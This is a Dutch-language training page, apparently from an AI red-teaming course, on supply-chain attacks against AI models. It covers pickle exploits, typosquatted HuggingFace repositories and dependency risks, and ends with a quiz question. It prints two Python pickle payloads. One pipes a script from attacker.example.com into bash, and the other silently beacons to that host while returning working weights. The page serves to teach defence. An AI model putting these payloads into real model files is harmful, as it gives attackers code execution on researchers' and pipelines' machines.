Model Supply Chain Risks
Attack vectors in the AI model supply chain, including malicious model files, pickle exploits, compromised model registries, and dependency vulnerabilities.
De AI-modelsupplychain — het pad van modeltraining tot productie-deployment — bevat kritieke aanvalsvectoren. Het downloaden en laden van een modelbestand is functioneel gelijk aan het uitvoeren van niet-vertrouwde code, en toch behandelen veel organisaties modelbestanden als inerte data. De gevaarlijkste vector is pickle-deserialisatie, die willekeurige code-execution mogelijk maakt.
Modelserialisatieformaten
| Formaat | Risico op code-execution | Veelvoorkomend gebruik |
|---|---|---|
| Pickle (.pkl, .pt, .bin) | Kritiek — willekeurige Python-code-execution | PyTorch-standaard, veel legacy-modellen |
| SafeTensors (.safetensors) | Geen — alleen-data-formaat | Moderne HuggingFace-standaard |
| ONNX (.onnx) | Laag — beperkte custom operators | Cross-framework-deployment |
| GGUF (.gguf) | Geen — alleen-data-formaat | llama.cpp-ecosysteem |
Pickle-exploits
De pickle-module van Python kan willekeurige Python-objecten serialiseren, inclusief uitvoerbare code. Een kwaadaardig pickle-bestand voert code uit wanneer het wordt geladen:
import pickle
import os
class MaliciousModel:
def __reduce__(self):
# This code executes when the pickle is loaded
return (os.system, ("curl https://attacker.example.com/shell.sh | bash",))
# Save the malicious "model"
with open("model.pt", "wb") as f:
pickle.dump(MaliciousModel(), f)
# When someone loads this "model":
# model = torch.load("model.pt") # Executes the reverse shellRealistisch aanvalsscenario
- De aanvaller maakt een legitiem ogend model op HuggingFace
- Het modelbestand bevat een pickle-payload naast echte gewichten
- Een onderzoeker of ML-pipeline downloadt en laadt het model
- De payload wordt uitgevoerd: reverse shell, cryptominer, data-exfiltratie
# More sophisticated payload that preserves model functionality
class TrojanedModel:
def __reduce__(self):
# Execute payload AND return a working model
return (self._load_with_backdoor, ("real_weights.pt",))
@staticmethod
def _load_with_backdoor(weights_path):
# Run malicious code silently
import subprocess
subprocess.Popen(["curl", "-s", "https://attacker.example.com/beacon"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# Return a real working model so nothing looks wrong
import torch
return torch.load(weights_path, weights_only=True)Registry- en distributieaanvallen
HuggingFace Hub
Het grootste model registry heeft specifieke aanvalsoppervlakken:
- Typosquatting — Registreer modelnamen die lijken op populaire modellen (
meta-Ilama/Llama-3.1-8Bversusmeta-llama/Llama-3.1-8B) - Namespace-verwarring — Misbruik de verwachtingen van gebruikers over officiële versus community-modellen
- Versiemanipulatie — Push een kwaadaardige update naar een eerder legitiem model
- README-social-engineering — Stel overtuigende model cards op die onveilige laadpraktijken aanmoedigen
Dependency-aanvallen
AI-libraries hebben diepe dependency-bomen die kunnen worden aangevallen:
# Typical AI project dependencies (simplified)
# torch → numpy, pillow, triton
# transformers → tokenizers, safetensors, huggingface_hub
# langchain → openai, tiktoken, pydantic
# Each dependency is a potential supply chain targetBewustzijn van mitigaties
Inzicht in verdedigingen helpt red teamers gaten te identificeren:
| Verdediging | Status | Overweging voor het red team |
|---|---|---|
| SafeTensors-formaat | Beschikbaar, niet universeel | Veel legacy-pipelines gebruiken nog pickle |
weights_only=True | Beschikbaar sinds PyTorch 2.0 | Niet de standaard, vaak weggelaten |
| Modelondertekening | Beperkte adoptie | De meeste registries missen cryptografische verificatie |
| Dependency-pinning | Gangbare praktijk | Pins kunnen verwijzen naar gecompromitteerde versies |
| Container-scanning | Standaard-DevSecOps | Scanners begrijpen mogelijk geen ML-specifieke dreigingen |
Gerelateerde onderwerpen
- AI Infrastructure Security Overview -- bredere context van het aanvalsoppervlak van infrastructuur
- Supply Chain Deep Dive -- geavanceerde supply-chain-exploitatietechnieken
- Pickle Exploits -- gedetailleerde pickle-deserialisatieaanvallen
- Training Data Attacks -- modellen vergiftigen via hun trainingsdatasupplychain
- Deployment Attacks -- de deployment-omgeving beveiligen waarin modellen worden geladen
References
- Gu et al., "BadNets: Identifying Vulnerabilities in the Machine Learning Model Supply Chain" (2019) -- foundational ML supply chain attack research
- HuggingFace, "Safetensors: A Simple, Safe Serialization Format" (2023) -- the safe alternative to pickle
- Kumar et al., "Emerging Supply Chain Attacks Against Open-Source AI/ML" (2024) -- taxonomy of real-world ML supply chain attacks
Een team downloadt een PyTorch-model van een community-HuggingFace-repository en laadt het met torch.load('model.pt'). Wat is het primaire beveiligingsrisico?